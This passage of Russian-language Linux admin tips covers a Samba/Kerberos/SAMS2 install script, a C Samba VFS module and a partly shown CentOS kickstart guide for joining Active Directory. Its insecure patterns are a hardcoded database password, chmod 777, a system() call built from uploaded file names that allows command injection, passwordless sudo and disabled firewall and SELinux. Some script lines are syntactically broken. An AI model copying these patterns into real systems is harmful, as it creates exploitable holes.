       echo 'LC_COLLATE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MONETARY="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MESSAGES="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_PAPER="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_NAME="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_ADDRESS="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_TELEPHONE="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_MEASUREMENT="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_IDENTIFICATION="ru_RU.UTF-8"' >> /etc/default/locale
       echo 'LC_ALL=ru_RU.UTF-8' >> /etc/default/locale
    
    
    
       echo "deb http://download.webmin.com/download/repository sarge contrib" >> /etc/apt/sources.list	
    
       wget http://www.webmin.com/jcameron-key.asc
       apt-key add jcameron-key.asc
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes update
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install webmin
    
    
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install make g++ libtool build-essential autoconf automake ssl-cert \\
          libmysqlclient-dev libpcre3 libpcre3-dev php5 php5-cli php5-common php5-dev php5-mcrypt \\
          php5-imagick php5-mysql php5-gd php5-ldap php-fpdf libapache2-mod-php5 libldap2-dev
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install krb5-user krb5-config libkrb53 krb5-locales libgssapi-krb5-2
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install samba samba-common winbind
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install ntp
       sed 's/0.ubuntu.pool.ntp.org/192.168.10.10/g;s/1.ubuntu.pool.ntp.org/192.168.10.12/g;s/2.ubuntu.pool.ntp.org/192.168.12.10/g;s/3.ubuntu.pool.ntp.org/192.168.12.11/g' /etc/ntp.conf > /etc/ntp.conf.new &
       sleep 5
       mv /etc/ntp.conf.new /etc/ntp.conf &
       sleep 5
       /etc/init.d/ntp restart &
       sleep 5
    
       echo '[global]' >   /etc/samba/smb.conf
       echo 'dos charset = 866' >> /etc/samba/smb.conf
       echo 'unix charset = UTF-8' >> /etc/samba/smb.conf
       echo 'display charset = CP1251' >> /etc/samba/smb.conf
       echo 'security = ADS' >> /etc/samba/smb.conf
       echo 'workgroup = ALLURAUTO' >> /etc/samba/smb.conf
       echo 'realm = example.com' >> /etc/samba/smb.conf
       echo 'winbind uid = 10000-20000' >> /etc/samba/smb.conf
       echo 'winbind gid = 10000-20000' >> /etc/samba/smb.conf
       echo 'winbind enum users = yes' >> /etc/samba/smb.conf
       echo 'winbind enum groups = yes' >> /etc/samba/smb.conf
       echo 'winbind use default domain = yes' >> /etc/samba/smb.conf
       echo 'local master = no' >> /etc/samba/smb.conf
       echo 'client use spnego = yes' >> /etc/samba/smb.conf
       echo 'ntlm auth = yes' >> /etc/samba/smb.conf
       echo 'client ntlmv2 auth = yes' >> /etc/samba/smb.conf
       echo 'log file = /var/log/samba/log.%m' >> /etc/samba/smb.conf
       echo 'max log size = 1000' >> /etc/samba/smb.conf
       echo 'syslog = 0' >> /etc/samba/smb.conf
       echo '' >> /etc/samba/smb.conf
       echo '[downloads]' >> /etc/samba/smb.conf
       echo '   comment = MyDLP Appliance Downloads' >> /etc/samba/smb.conf
       echo '   path = /usr/share/mydlp/endpoint' >> /etc/samba/smb.conf
       echo '   read only = yes' >> /etc/samba/smb.conf
       echo '   guest ok = yes' >> /etc/samba/smb.conf
       echo '   public = yes' >> /etc/samba/smb.conf
       echo '   browsable = yes' >> /etc/samba/smb.conf
       echo '   writable = no' >> /etc/samba/smb.conf
    
       echo '[libdefaults]' >> /etc/krb5.conf
       echo 'default_realm = example.com' >> /etc/krb5.conf
       echo 'clockskew = 300' >> /etc/krb5.conf
       echo 'ticket_lifetime = 24000' >> /etc/krb5.conf
       echo '# The following krb5.conf variables are only for MIT Kerberos.' >> /etc/krb5.conf
       echo 'krb4_config = /etc/krb.conf' >> /etc/krb5.conf
       echo 'krb4_realms = /etc/krb.realms' >> /etc/krb5.conf
       echo 'kdc_timesync = 1' >> /etc/krb5.conf
       echo 'ccache_type = 4' >> /etc/krb5.conf
       echo 'forwardable = true' >> /etc/krb5.conf
       echo 'proxiable = true' >> /etc/krb5.conf
       echo'' >> /etc/krb5.conf
       echo '[realms]' >> /etc/krb5.conf
       echo '        example.com = {' >> /etc/krb5.conf
       echo '                kdc = rwdc01.example.com' >> /etc/krb5.conf
       echo '		kdc = rwdc02.example.com' >> /etc/krb5.conf
       echo '                admin_server = rwdc01.example.com' >> /etc/krb5.conf
       echo '                default_domain = example.com' >>    /etc/krb5.conf
       echo '        }' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '   [domain_realm]' >> /etc/krb5.conf
       echo '        .example.com = example.com' >> /etc/krb5.conf
       echo '        example.com = example.com' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '[login]' >> /etc/krb5.conf
       echo '        krb4_convert = true' >> /etc/krb5.conf
       echo '        krb4_get_tickets = false' >> /etc/krb5.conf
       echo '' >> /etc/krb5.conf
       echo '[logging]' >> /etc/krb5.conf
       echo 'kdc = FILE:/var/log/krb5/krb5kdc.log' >> /etc/krb5.conf
       echo 'admin_server = FILE:/var/log/krb5/kadmind.log' >> /etc/krb5.conf
       echo 'default = SYSLOG:NOTICE:DAEMON' >> /etc/krb5.conf
    
    
    
       DEBIAN_FRONTEND=noninteractive apt-get -y -q --force-yes install squid3-common
    
        mkdir -p /var/run/samba/winbindd_privileged/
        chgrp proxy /var/run/samba/winbindd_privileged/
        chmod 0750 /var/run/samba/winbindd_privileged/ 
        /etc/init.d/winbind restart
        mkdir squidsrc
        cd squidsrc
        wget http://sams2.googlecode.com/files/sams-2.0.0-rc2.tar.bz2
        tar xvjf sams-2.0.0-rc2.tar.bz2
       cd sams-2.0.0-rc2
       source /etc/apache2/envvars
       make -f Makefile.cvs
       ./configure
       sed -i -e '6000s/absdir=.*/absdir="\\/usr\\/lib"/' libtool
       cd src
       mv samsuser.h samsuser.kmp
       mv dbquery.h dbquery.kmp
       mv template.h template.kmp 
       mv logger.h logger.kmp
       mv urlgroup.h urlgroup.kmp
       mv squidlogline.h squidlogline.kmp
       mv dbconn.h dbconn.kmp
       mv proxy.h proxy.kmp
       ls -la *.kmp
       sed 's/enum usrStatus/enum usrStatus : long/' samsuser.kmp > samsuser.h
       sed 's/enum VarType/enum VarType : long/' dbquery.kmp > dbquery.h
       sed 's/enum PeriodType/enum PeriodType : long/' template.kmp > template.h
       sed 's/enum LogKind/enum LogKind : long/g;s/enum LoggerEngine/enum LoggerEngine : long/g' logger.kmp >  logger.h
       sed 's/enum accessType/enum accessType : long/' urlgroup.kmp > urlgroup.h
       sed 's/enum logCacheResult/enum logCacheResult : long/g;s/enum logPeerStatus/enum logPeerStatus : long/g;s/enum logHTTPStatus {/enum logHTTPStatus : long {/g' squidlogline.kmp >  squidlogline.h
       sed 's/enum DBEngine/enum DBEngine : long/' dbconn.kmp > dbconn.h
       sed 's/enum TrafficType/enum TrafficType : long/g;s/enum usrAuthType/enum usrAuthType : long/g;s/enum RedirType/enum RedirType : long/g;s/enum ParserType/enum ParserType : long/g;s/enum CharCase/enum CharCase : long/g' proxy.kmp >  proxy.h
       cd ..
       make
       make install
       sed -i -e 's/DB_USER=/DB_USER=sams/' /usr/local/etc/sams2.conf
       sed -i -e 's/DB_PASSWORD=/DB_PASSWORD='Meteor2014'/' /usr/local/etc/sams2.conf
       sed -i -e 's/squid/squid3/' /usr/local/etc/sams2.conf
       sed -i -e 's|SQUIDCACHEDIR=/usr/local/apache2|SQUIDCACHEDIR=/var/spool/squid3|' /usr/local/etc/sams2.conf
       chown -R www-data:www-data /usr/local/share/sams2/
       chown -R www-data:www-data /usr/local/etc/sams2.conf
       chmod -R 777 /usr/local/share/sams2
    
    
       echo '
       Alias /sams2 /usr/local/share/sams2/
     
       <Directory "/usr/local/share/sams2/">
           Options Indexes FollowSymlinks
           AllowOverride None
           Require all granted
           AddDefaultCharset off
       </Directory>
        
       <Location "/sams2">
           Options Indexes
           Order allow,deny
           Allow from all
       </Location>
     
       ' > /etc/apache2/sites-available/sams2.conf
     
       echo '
       Alias /sams2/doc /usr/local/share/doc/sams2-2.0.0/
        
       <Directory "/usr/local/share/doc/sams2-2.0.0/">
           Options Indexes FollowSymlinks
           AllowOverride None
           Require all granted
           AddDefaultCharset off
       </Directory>
        
       <Location "/sams2/doc">
           Options Indexes
           Order allow,deny
           Allow from all
       </Location>
        
       ' > /etc/apache2/sites-available/doc4sams2.conf
    
        ln -s ../sites-available/sams2.conf /etc/apache2/sites-enabled/
        ln -s ../sites-available/doc4sams2.conf /etc/apache2/sites-enabled/
        ln -s ../sites-available/default /etc/apache2/sites-enabled/default
    
        sed 's/*:80/127.0.0.1:80' /etc/apache2/sites-available/mydlp > /etc/apache2/sites-available/mydlpnew
        sleep 5
        mv /etc/apache2/sites-available/mydlpnew > /etc/apache2/sites-available/mydlp
       sleep 5
    
       service apache2 restart
    
     
    ----* Создание собственного модуля Samba VFS   Автор: Andrey  [комментарии]
     
    Задача
    Необходимо выполнить ряд действий при добавлении/изменении файла в разделе Samba.
    
    Реализация
    Создадим собственный VFS-модуль для Samba, отслеживающий добавление/изменение файлов.
    
    
    vfs_custom.c:
    
         #include <stdlib.h>
         #include <sys/types.h>
         #include <sys/stat.h>
    
         #include "includes.h"
         #include "system/filesys.h"
         #include "system/syslog.h"
         #include "smbd/smbd.h"
    
         #undef DBGC_CLASS
         #define DBGC_CLASS DBGC_VFS
    
         static int custom_close(vfs_handle_struct *handle, files_struct *fsp)
         {
            int result;
    
            result = SMB_VFS_NEXT_CLOSE(handle, fsp);
    
            const char* path = lp_pathname(SNUM(fsp->conn));
            const char* script = lp_parm_const_string(SNUM(handle->conn), "custom", "modify", NULL);
    
            if(script && path && fsp->modified)
            {
                struct stat sb;
                int script_sz = strlen(script);
                int script_ex = stat(script, &sb) == 0 && sb.st_mode & S_IXUSR;
    
                if(script_ex)
                {
                    int path_sz = strlen(path);
                    const char* bname = fsp->fsp_name->base_name;
                    int bname_sz = strlen(bname);
                    char* buf = (char*) calloc(PATH_MAX + script_sz + 1, 1);
    
                    if(buf)
                    {
                        strncat(buf, script, script_sz);
                        strncat(buf, " ", 1);
                        strncat(buf, path, path_sz);
                        strncat(buf, "/", 1);
                        strncat(buf, "\\"", 1);
                        strncat(buf, bname, bname_sz);
                        strncat(buf, "\\"", 1);
    
                        system(buf);
    
                        free(buf);
                    }
                }
            }
    
            return result;
         }
    
         static struct vfs_fn_pointers vfs_custom_fns = {
            .close_fn = custom_close
         };
    
         NTSTATUS vfs_custom_init(void)
         {
            return smb_register_vfs(SMB_VFS_INTERFACE_VERSION, "custom",
                                    &vfs_custom_fns);
         }
    
    Я собрал его по аналогии с модулями из директории modules в исходниках Samba.
    Готовый бинарный файл vfs_custom.o нужно скопировать в рабочую директорию
    модулей, у мня это было /usr/lib/samba/vfs
    
    Настройка vfs_custom:
    
    Настройка заключается в редактировании файла конфигурации smb.conf:
    
       [share]
           vfs objects = custom
           custom:modify = /etc/samba/scripts/modify.sh
    
    В результате при добавлении/изменении файла будет выполняться скрипт
    /etc/samba/scripts/modify.sh filename
    
    Например, сейчас мы можем автоматически делать с новыми/измененными файлами что
    угодно, например уменьшать jpeg картинки если пользователь будет их копировать
    на шару и т.п.
    
    Для того чтобы была реакция на удаление файла необходимо заполнить отдельную
    секцию в коде .unlink = custom_unlink
    
     
    ----* Полуавтоматическое разворачивание рабочих станций CentOS в домене MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    В заметке рассказывается о решении задачи по автоматизации установки новых
    Linux систем и организации управления ими с помощью Active Directory.
    
    Исходные данные:
    
    
  • Домен AD Domain.ru.
  • Дистрибутив CentOS, легально скачанный с сайта CentOS.org (у руководства сейчас пунктик о 100% легальности софта).
  • Очень странный софт спец назначения - 64-битный софт с 32-битным установщиком. Процесс организации установки Linux по сети 1. Готовим сервер установки. 1.1 На сервере виртуалок создаём сервер загрузок из того же CentOS-a с отдельным VLAN-ом и IP адресом 172.17.17.254/24 - основная сетка целиком на MS, лучше её не тревожить... Пока. Сразу ставим туда демоны dhcpd, tftp, nfs, ntpd. Машины заливать будем по NFS - так привычнее. 1.2 Настраиваем на виртуальном сервере DHCP под сетевую загрузку Linux. Правим /etc/dhcp/dhcpd.conf до примерно такого вида: option domain-name "centos"; option domain-name-servers 172.17.17.254; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 172.17.17.0 netmask 255.255.255.0 { range 172.17.17.100 172.17.17.199; option routers 172.17.17.254; filename "pxelinux.0"; next-server 172.17.17.254; } В общем - всё как обычно, кроме пары ключевых параметров: filename и next-server. next-server задаёт IP-адрес tftp-сервера, а filename - файл в папке загрузочных файлов (см следующий пункт). включаем загрузку демона chkconfig dhcpd on и запускаем его service dhcpd start 1.3 Настраиваем tftp Правим файл /etc/xinetd.d/tftp. Точнее в строке disabled ставим значение "no" и в строке server_args ставим те значения, что нам привычны, или оставляем исходные, но запоминаем, куда они указывают. Мне, развлекающемуся с юнихами года так с 1989, привычнее там видеть "-s -vv /tftpboot", что собственно там и оказалось, после моих правок. Создаём саму папку для загрузочных файлов (/tftpboot - из параметра server_args): mkdir /tftpboot Ставим пакет syslinux-а yum install syslinux-4.02-7.el6.x86_64 И копируем PXE-шный загрузчкик в выбранное место: cp /usr/share/syslinux/pxelinux.0 /tftpboot И включаем демон: chkconfig xinetd on service xinetd restart 1.4 Настраиваем NFS Создаём папку для дистрибутива mkdir -p /pub/CentOS Распаковываем туда дистрибутив mkdir -p /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD1.iso /mnt/cdrom cd /pub/CentOS cp -ra /mnt/cdrom/* . umount /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD2.iso /mnt/cdrom cp -ra /mnt/cdrom/* . umount /mnt/cdrom Открываем к доступ к папке echo '/pub *(ro,insecure,all_squash)' >> /etc/exports chkconfig nfs on service nfs restart С общей подготовкой сервера - всё. Приступаем к специфичной части. 2. CentOS-овский загрузчик. CentOS, разумеется, для загрузки с CD и DVD использует загрузчик isolinux проекта Syslinux. А значит сделать файл конфигурации загрузки для pxelinux.0, другой загрузчик этого же проекта - не просто, а очень просто. Создаём папку /tftpboot/pxelinux.cfg и папку для дополнительных файлов загрузчика. mkdir -p /tftpboot/pxelinux.cfg Копируем туда под именем default файл конфигурации isolinux-а с дистрибутива CentOS... cd /pub/CentOS/isolinux/ cp isolinux.cfg /tftpboot/pxelinux.cfg/default [[/CODE]] ...и несколько файлов, используемых при загрузке. cp boot.cat boot.msg grub.conf initrd.img splash.jpg TRANS.TBL vesamenu.c32 vmlinuz /tftpboot Добавляем ссылку на файл автоматической инсталяции в параметры ядра. В строки append initrd=initrd.img надо дописать ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg, где nfs - протокол, по которому надо брать файл конфигурации, 172.17.17.254 - адрес сервера, /pub/CentOS-conf/desktop.cfg - полное имя файла. Получается файл /tftpboot/pxelinux.cfg/default примерно такого вида: default vesamenu.c32 #prompt 1 timeout 80 display boot.msg menu background splash.jpg menu title Welcome to CentOS 6.3! menu color border 0 #ffffffff #00000000 menu color sel 7 #ffffffff #ff000000 menu color title 0 #ffffffff #00000000 menu color tabmsg 0 #ffffffff #00000000 menu color unsel 0 #ffffffff #00000000 menu color hotsel 0 #ff000000 #ffffffff menu color hotkey 7 #ffffffff #ff000000 menu color scrollbar 0 #ffffffff #00000000 label linux menu label ^Install or upgrade an existing system menu default kernel vmlinuz append initrd=initrd.img ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label vesa menu label Install system with ^basic video driver kernel vmlinuz append initrd=initrd.img xdriver=vesa nomodeset ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label rescue menu label ^Rescue installed system kernel vmlinuz append initrd=initrd.img rescue label local menu label Boot from ^local drive localboot 0xffff label memtest86 menu label ^Memory test kernel memtest append - 3. Проблема совместимости 64-битной ОС с 32-битными приложениями. При наличии 32-битных библиотек у 64-битной ОС ни каких проблем совместимости нет. Но вот не задача: новый yum теперь 32-битные библиотеки ставить не будет. Дело всё в параметре multilib_policy - в 5-ом CentOSе он имел значение all, теперь - best. Как правильно побороть это на этапе установки - не знаю. В Интернете нашёл, как побороть это по-быстрому (http://lists.centos.org/pipermail/centos/2011-July/114513.html). Вытаскиваем из архива файл yuminstall.py во временную папку mkdir /tmp/1 cd /tmp/1 rpm2cpio /pub/CentOS/Packages/anaconda-13.21.176-1.el6.centos.x86_64.rpm | cpio -id ./usr/lib/anaconda/yuminstall.py Добавляем строку multilib_policy=all после строки [main], где-то 1252 строка файла. Можно применить такой патчик: cd usr/lib/anaconda/ cat <<EOP > patch --- yuminstall.py.orig 2012-12-25 13:49:06.979604951 +0400 +++ yuminstall.py 2012-12-25 13:51:15.433740741 +0400 @@ -1250,6 +1250,7 @@ buf = """ [main] +multilib_policy=all installroot=%s cachedir=/var/cache/yum keepcache=0 EOP patch < patch Кладём подправленный файл в папку, откуда его точно заглотит инсталлятор: mkdir /pub/CentOS/RHupdates/ cp yuminstall.py /pub/CentOS/RHupdates/ 4. Создание конфигурации Kickstart. Теперь надо создать конфигурационный файл инсталлятора. Сделать это проще всего в графическом конфигураторе system-config-kickstart yum install system-config-kickstart system-config-kickstart Запускается простой Х-овый интерфейс выбора параметров. Заполняем его по своему усмотрению, ключевыми являются закладки "Метод установки" и "Сценарий после установки". Т.к. я изначально решил устанавливать по NFS в методе установки указываем "Выполнить новую установку", "Установочный носитель" - NFS, "Сервер NFS" - 172.17.17.254 и "Каталог NFS" - /pub/CentOS. Содержимое закладки "Сценарий после установки" можно скопировать из примера конфигурационного файла, приведённого ниже, между полями %post и %end. Пакеты выбираем по собственному вкусу, но для интеграции с Active Directory необходимы samba-winbind krb5-workstation openldap-clients их можно выбрать в "Выбор пакетов" -> "Базовая система" -> "Клиент каталогов". На всякий случай, мало ли на какой каталог придётся переползать, я ставлю вообще все пакеты этого подраздела. Сохраняем файл конфигурации /pub/CentOS-conf/desktop.cfg - именно на него ссылаются параметры ks из п.2. У меня файл /pub/CentOS-conf/desktop.cfg получился таким (он содержит комментарии на русском, их лучше удалить перед использованием - не хватало ещё глюков из-за кириллицы): #platform=x86, AMD64, or Intel EM64T #version=DEVEL # Firewall configuration - Внутри локалки firewall по большей части мешает. firewall --disabled # Install OS instead of upgrade install # Use NFS installation media nfs --server=172.17.17.254 --dir=/pub/CentOS # Root password rootpw --iscrypted <зашифрованный пароль> # System authorization information auth --useshadow --passalgo=md5 --enablecache # Use text mode install text # Run the Setup Agent on first boot firstboot --disable # System keyboard keyboard ru # System language lang ru_RU # SELinux configuration selinux --disabled # Installation logging level logging --level=info ## Turnoff power after installation # Удобно при большом кол-ве одновременно заливаемых компов - готовые выключены, # и хорошо заметно, который можно уносить. Кикстарт не понимает всей прелести такого # и этот параметр приходится дописывать руками. poweroff # System timezone timezone Europe/Moscow # Network information network --bootproto=dhcp --device=eth0 --onboot=on # System bootloader configuration bootloader --location=mbr # Clear the Master Boot Record zerombr # Partition clearing information clearpart --all --initlabel # Disk partitioning information. # диски на компьютерах сейчас просто огромные, место жалеть не приходится part /boot --fstype="ext4" --size=1024 part swap --fstype="swap" --recommended part / --fstype="ext4" --size=131072 part /home --fstype="ext4" --grow --size=1 # # А вот тут - самое основное # Скрипт выполняется после всех основных действий по установки, в том числе # после заливки софта, но chroot-нутым в подготовленную машину. # %post # Скрипт создаётся в папке /tmp настраиваемого компьютера. Незачем ему там храниться. rm -f $0 # Говорим yum-у и впредь ставить 32-битные модули вместе с 64-битными. sed -i '/main/a multilib_policy=all' /etc/yum.conf # Делаем группу wheels истинно админской, чтобы даже пароль не спрашивала при sudo [ -d /etc/sudoers.d ] || mkdir /etc/sudoers.d echo '%root ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers.d/rootgrp chmod 0440 /etc/sudoers.d/rootgrp assureFileFolder() { local d=`dirname $1`; [ -d "$d" ] && return mkdir -p "$d" } # Конфигурация переключения раскладок клавиатуры в KDE kxkbrcFile=/etc/skel/.kde/share/config/kxkbrc assureFileFolder ${kxkbrcFile} cat <<EOKXKBRC > ${kxkbrcFile} [Layout] DisplayNames=us,ru LayoutList=us,ru LayoutLoopCount=-1 Model=pc101 Options=grp_led:scroll,grp:caps_toggle,grp:alt_shift_toggle,grp:shifts_toggle ResetOldOptions=true ShowFlag=true ShowLabel=true ShowLayoutIndicator=true ShowSingle=true SwitchMode=Window Use=true EOKXKBRC # Конфигурация локали KDE kdeglobFile=/etc/skel/.kde/share/config/kdeglobals assureFileFolder ${kdeglobFile} cat <<EOKGL > ${kdeglobFile} [Locale] Country=ru DateFormat=%A %d %B %Y Language=ru EOKGL # Конфигурация правописания KDE. kdespellCfg=/etc/skel/.kde/share/config/sonnetrc assureFileFolder ${kdespellCfg} cat <<EOKSPL > ${kdespellCfg} [Spelling] backgroundCheckerEnabled=true checkUppercase=true defaultClient= defaultLanguage=ru ignore_ru= skipRunTogether=true EOKSPL # Конфигурация переключения раскладок клавиатуры в GNOME. # Индикатор раскладок автоматически запускается только с GNOME 2.30, # а текущий гном в дистрибутиве Центоса - 2.28... # Так, что надо либо добавить сюда запуск индикатора, либо настраивать это руками... # Но оба этих упражнения - в другой раз. gnomekbdbase='/etc/skel/.gconf' gnomekbdfile='desktop/gnome/peripherals/keyboard/kbd/%gconf.xml' gkd=`dirname "${gnomekbdfile}"` mkdir -p "${gnomekbdbase}/${gkd}" d="${gkd}"; while [ "x${d}" != "x." ]; do touch ${gnomekbdbase}/$d/'%gconf.xml'; d=`dirname $d`; done sed 's/ /\\t/g' <<EOGCONFKBD > ${gnomekbdbase}/${gnomekbdfile} <?xml version="1.0"?> <gconf> <entry name="options" mtime="1357150396" type="list" ltype="string"> <!-- li type="string"> <stringvalue>terminate terminate:ctrl_alt_bksp</stringvalue> </li --> <li type="string"> <stringvalue>grp_led grp_led:scroll</stringvalue> </li> <li type="string"> <stringvalue>grp grp:caps_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:alt_shift_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:shifts_toggle</stringvalue> </li> </entry> </gconf> EOGCONFKBD chmod 0644 ${kxkbrcFile} ${kdeglobFile} ${kdespellCfg} ${gnomekbdbase}/${gnomekbdfile} # Создаём учётные записи для великих гуру - пусть имеют возможность зайти на любой компьютер # Creation of admins for u in guru0 guru1; do useradd -m -p '*' -g wheel -G root $u mkdir /home/$u/.ssh touch /home/$u/.ssh/authorized_keys chown -R $u:wheel /home/$u/.ssh chmod -R go-rwx /home/$u/.ssh done # А сюда вставляем их публичные ключи SSH. cat <<EOAK0 >> /home/guru0/.ssh/authorized_keys EOAK0 cat <<EOAK1 >> /home/guru1/.ssh/authorized_keys EOAK1 # # У меня установка будет в текстовом режиме, а при этом система получает 3 уровень запуска - исправляем на 5-й. sed -i 's/id:[3-5]:initdefault:/id:5:initdefault:/g' /etc/inittab # Монтируем раздел с дистрибутивом mkdir /tmp/pubDnld mount -o ro 172.17.17.254:/pub /tmp/pubDnld # Ставим дополнительные пакеты. rpm -ivh /tmp/pubDnld/Adobe/adobe-release-x86_64-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux rpm -i /tmp/pubDnld/Adobe/flash-plugin-11.2.202.258-release.x86_64.rpm # Удаляем ненужные мне глобальные серверы времени и включаем себя как резервный сервер. # Список серверов времени будем получать по DHCP. sed -i.instbak '/^server /s/^/#/;/server[[:space:]]*127/s/^#//;/fudge[[:space:]]*127/s/^#//' /etc/ntp.conf echo 'NTPSERVERARGS=iburst' >> /etc/sysconfig/network # !!! А вот ради этого всё и затевается - ставим скрипт присоединения к домену cp /tmp/pubDnld/CentOS-conf/adsjoin /etc/init.d/ chmod a+x /etc/init.d/adsjoin # Включаем нужные сервисы и выключаем не нужные. chkconfig kdump off chkconfig ntpd on chkconfig adsjoin on %end # Мой список устанавлеваемых пакетов. Создан system-config-kickstart-ом. # %packages @additional-devel @backup-client @base @basic-desktop @cifs-file-server @client-mgmt-tools @console-internet @core @debugging @desktop-debugging @desktop-platform @desktop-platform-devel @development @directory-client @directory-server @eclipse @fonts @general-desktop @graphical-admin-tools @graphics @hardware-monitoring @input-methods @internet-applications @internet-browser @java-platform @kde-desktop @large-systems @legacy-unix @mysql @mysql-client @network-file-system-client @nfs-file-server @office-suite @performance @perl-runtime @php @print-client @remote-desktop-clients @ruby-runtime @russian-support @scientific @server-platform-devel @system-admin-tools @technical-writing @x11 ImageMagick SDL-devel cachefilesd cmake crypto-utils dcraw desktop-file-utils docbook-utils-pdf dump evolution-exchange expect expect gcc-java glade3 glibc-utils gnome-common gnome-devel-docs gnutls-devel gtk2-devel-docs hesinfo hplip hplip-gui i2c-tools icedtea-web inkscape kdebase-devel kdebase-workspace-devel kdegraphics-devel kdelibs-apidocs kdelibs-devel kdemultimedia-devel kdenetwork-devel kdepim-devel kdepimlibs-devel kdesdk kdesdk-devel krb5-appl-clients krb5-pkinit-openssl krb5-workstation ldapjdk libXau-devel libXaw-devel libXinerama-devel libXmu-devel libXpm-devel libXrandr-devel libbonobo-devel libreoffice-base libreoffice-emailmerge libreoffice-headless libreoffice-javafilter libreoffice-ogltrans libreoffice-presentation-minimizer libreoffice-report-builder libreoffice-wiki-publisher libudev-devel libusb-devel libuuid-devel libxslt-devel lm_sensors mc memtest86+ net-snmp-devel netpbm-progs nscd nss-pam-ldapd openldap-clients pam_krb5 pam_ldap perl-Test-Pod perl-Test-Pod-Coverage perl-suidperl pexpect php-mysql planner qt-doc rpmdevtools rpmlint ruby-irb samba samba-winbind screen sox startup-notification-devel systemtap-grapher taskjuggler texinfo tftp thunderbird xchat xfig xmlto-tex xmltoman xorg-x11-proto-devel xrestop xz-devel %end 5. Скрипт интеграции в Active Directory. Собственно, это то, ради чего писалась вся статья. Скрипт достаточно прост, предназначен для использования теми, кто знает, что такое Active Directory и имеет соответствующее звание - Ад-мин. Проверки входных данных есть, но очень слабые. Скрипт выполняет ряд важных действий:
  • Выполняет синхронизацию времени компьютера с доменом. Адреса NTP сервера(-ов) берутся из DHCP. Если синхронизация по чему либо не срабатывает - скрипт запрашивает адрес NTP сервера.
  • Запрашивает имя компьютера и домена.
  • Прописывает эти значения в файлах конфигурации Самбы, Цербера и Лдапа.
  • Запрашивает имя админа и авторизуется им в Цербере.
  • Присоединяет комп к Active Directory.
  • Выполняет ряд дополнительных настроек компьютера. Скрипт /pub/CentOS-conf/adsjoin #!/bin/bash # c#hkconfig: 345 98 1 ### BEGIN INIT INFO # Provides: adsjoin # Default-Start: 3 4 5 # Default-Stop: 0 1 2 6 # Required-Start: # Should-Start: $network # Short-Description: Requests ADS data and joins domain # Description: Asks user to enter ADS domain name, admin account and password. # Configures system to use ADS and joins it. ### END INIT INFO # Source function library. . /etc/init.d/functions FILENAME=/etc/sysconfig/adsjoin [ -z "$HOME" ] && export HOME=/ usage() { echo $"Usage: $0 {start|stop}" } prepareConfig() { # Fix system hostname fhn="${HOSTNAME,,}.${DOMAINNAME_FULL,,}" sed -i.adsjoinbak '/^HOSTNAME=/s/=.*/='$fhn'/' /etc/sysconfig/network hostname ${fhn} # add this name to work echo 127.0.0.1 ${fhn} ${fhn/.*} >> /etc/hosts cat <<EOSMB >> /etc/samba/smb.conf [global] winbind refresh tickets = true kerberos method = secrets and keytab EOSMB cat <<EOPWB >> /etc/security/pam_winbind.conf krb5_auth = yes cached_login = yes krb5_ccache_type = FILE EOPWB # --winbindtemplateprimarygroup=users \\ basedn=$(echo ${DOMAINNAME_FULL,,} | sed 's/^\\.*/dc=/;s/\\.*$//;s/\\.\\.*/,dc=/g') authconfig --update \\ --enablelocauthorize --enablecache \\ --enablekrb5realmdns --enablekrb5kdcdns \\ --ldapserver=ldap://${DOMAINNAME_FULL,,}/ --ldapbasedn=${basedn} \\ --enablemkhomedir --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash \\ --enablewinbindusedefaultdomain --enablewinbindauth --enablewinbind --enablewinbindoffline \\ --smbsecurity=ads --smbrealm=${DOMAINNAME_FULL} --smbworkgroup=${DOMAINNAME_SHORT} --smbservers='*' cat <<EOKRB > /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = ${DOMAINNAME_FULL} dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} ${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} EOKRB } askHostDom() { local hn dn while :; do read -p 'Enter HOSTNAME without domain: ' hn [ 0 -eq "$?" -a 4 -le ${#hn} -a ${#hn} -le 15 -a -z "$(expr "$hn" : '[a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${hn}" echo "You have to specify HOSTNAME 4 to 15 chars long." echo "Only numbers, latin letter and '-' are allowed." done while :; do read -p 'Enter DOMAINNAME: ' dn [ 0 -eq "$?" -a 6 -le ${#dn} -a -z "$(expr "$dn" : '[.a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${dn}" echo "You have to specify DOMAINNAME at least 6 chars long." echo "Only latin letter, numbers, '.' and '-' are 